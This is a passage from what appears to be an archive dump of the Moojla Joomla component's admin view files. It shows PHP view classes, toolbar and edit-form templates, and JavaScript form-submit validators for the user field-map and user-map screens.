			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_FIELD_MAP_JUSERFIELDS_LABEL',
'g.name', $this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_FIELD_MAP_MUSERFIELDS_LABEL', 'h.id',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_FIELD_MAP_ISCV_LABEL', 'a.iscv',
$this->listDirn, $this->listOrder); ?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_FIELD_MAP_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_USER_FIELD_MAP_STATUS');
?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_FIELD_MAP_ID', 'a.id',
$this->listDirn, $this->listOrder); ?>
	</th>
</tr>views/user_fields_map/tmpl/default_toolbar.php000064400000007062151165724420015711
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search User_fields_map'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/user_fields_map/tmpl/index.html000064400000000054151165724420014021
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_fields_map/view.html.php000064400000017174151165724420013511
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the User_fields_map
 */
class MoojlaViewUser_fields_map extends JViewLegacy
{
	/**
	 * User_fields_map view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('user_fields_map');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('user_field_map');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_USER_FIELDS_MAP'),
'pencil');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=user_fields_map');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('user_field_map.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('user_field_map.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('user_fields_map.publish');
				JToolBarHelper::unpublishList('user_fields_map.unpublish');
				JToolBarHelper::archiveList('user_fields_map.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('user_fields_map.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('',
'user_fields_map.delete', 'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('user_fields_map.trash');
			}
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('user_fields_map');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		// Only load Iscv batch if create, edit, and batch is allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Iscv Selection
			$this->iscvOptions =
JFormHelper::loadFieldType('userfieldsmapfilteriscv')->options;
			// We do some sanitation for Iscv filter
			if (MoojlaHelper::checkArray($this->iscvOptions) &&
				isset($this->iscvOptions[0]->value) &&
				!MoojlaHelper::checkString($this->iscvOptions[0]->value))
			{
				unset($this->iscvOptions[0]);
			}
			// Iscv Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_USER_FIELD_MAP_ISCV_LABEL').'
-',
				'batch[iscv]',
				JHtml::_('select.options', $this->iscvOptions,
'value', 'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_USER_FIELDS_MAP'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/user_fields_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'g.name' =>
JText::_('COM_MOOJLA_USER_FIELD_MAP_JUSERFIELDS_LABEL'),
			'h.id' =>
JText::_('COM_MOOJLA_USER_FIELD_MAP_MUSERFIELDS_LABEL'),
			'a.iscv' =>
JText::_('COM_MOOJLA_USER_FIELD_MAP_ISCV_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/user_field_map/submitbutton.js000064400000002753151165724420013772
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('user_field_map, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/user_field_map/tmpl/edit.php000064400000011256151165724420013305
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'user_field_mapTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'user_field_mapTab', 'details',
JText::_('COM_MOOJLA_USER_FIELD_MAP_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<?php echo
JLayoutHelper::render('user_field_map.details_left', $this);
?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'user_field_mapTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'user_field_mapTab', 'publishing',
JText::_('COM_MOOJLA_USER_FIELD_MAP_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo
JLayoutHelper::render('user_field_map.publishing', $this); ?>
			</div>
			<div class="span6">
				<?php echo
JLayoutHelper::render('user_field_map.publlshing', $this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'user_field_mapTab', 'permissions',
JText::_('COM_MOOJLA_USER_FIELD_MAP_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="user_field_map.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/user_field_map/tmpl/index.html000064400000000054151165724420013636
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_field_map/view.html.php000064400000016332151165724420013321
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * User_field_map View class
 */
class MoojlaViewUser_field_map extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('user_field_map',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_USER_FIELD_MAP_NEW' :
'COM_MOOJLA_USER_FIELD_MAP_EDIT'), 'pencil-2
article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('user_field_map.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('user_field_map.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('user_field_map.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('user_field_map.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('user_field_map.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('user_field_map.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('user_field_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('user_field_map.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('user_field_map.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('user_field_map.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('user_field_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('user_field_map.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.user_field_map',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('user_field_map.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('user_field_map.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('user_field_map');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_USER_FIELD_MAP_NEW' :
'COM_MOOJLA_USER_FIELD_MAP_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/user_field_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		// Add Ajax Token
		$this->document->addScriptDeclaration("var token =
'".JSession::getFormToken()."';");
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/user_field_map/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 

/***[JCBGUI.admin_view.php_document.134.$$$$]***/
    $getMethodsAjaxRoute=
JRoute::_('index.php?option=com_moojla', false);
   
$this->document->addScriptOptions('route',$getMethodsAjaxRoute);
   
$this->document->addScriptOptions('token',JFactory::getSession()->getFormToken());
/***[/JCBGUI$$$$]***/

		JText::script('view not acceptable. Error');
	}
}
views/user_map/submitbutton.js000064400000002745151165724420012630
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('user_map, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/user_map/tmpl/edit.php000064400000011320151165724420012132
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'user_mapTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'user_mapTab', 'details',
JText::_('COM_MOOJLA_USER_MAP_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('user_map.details_left',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('user_map.details_right',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
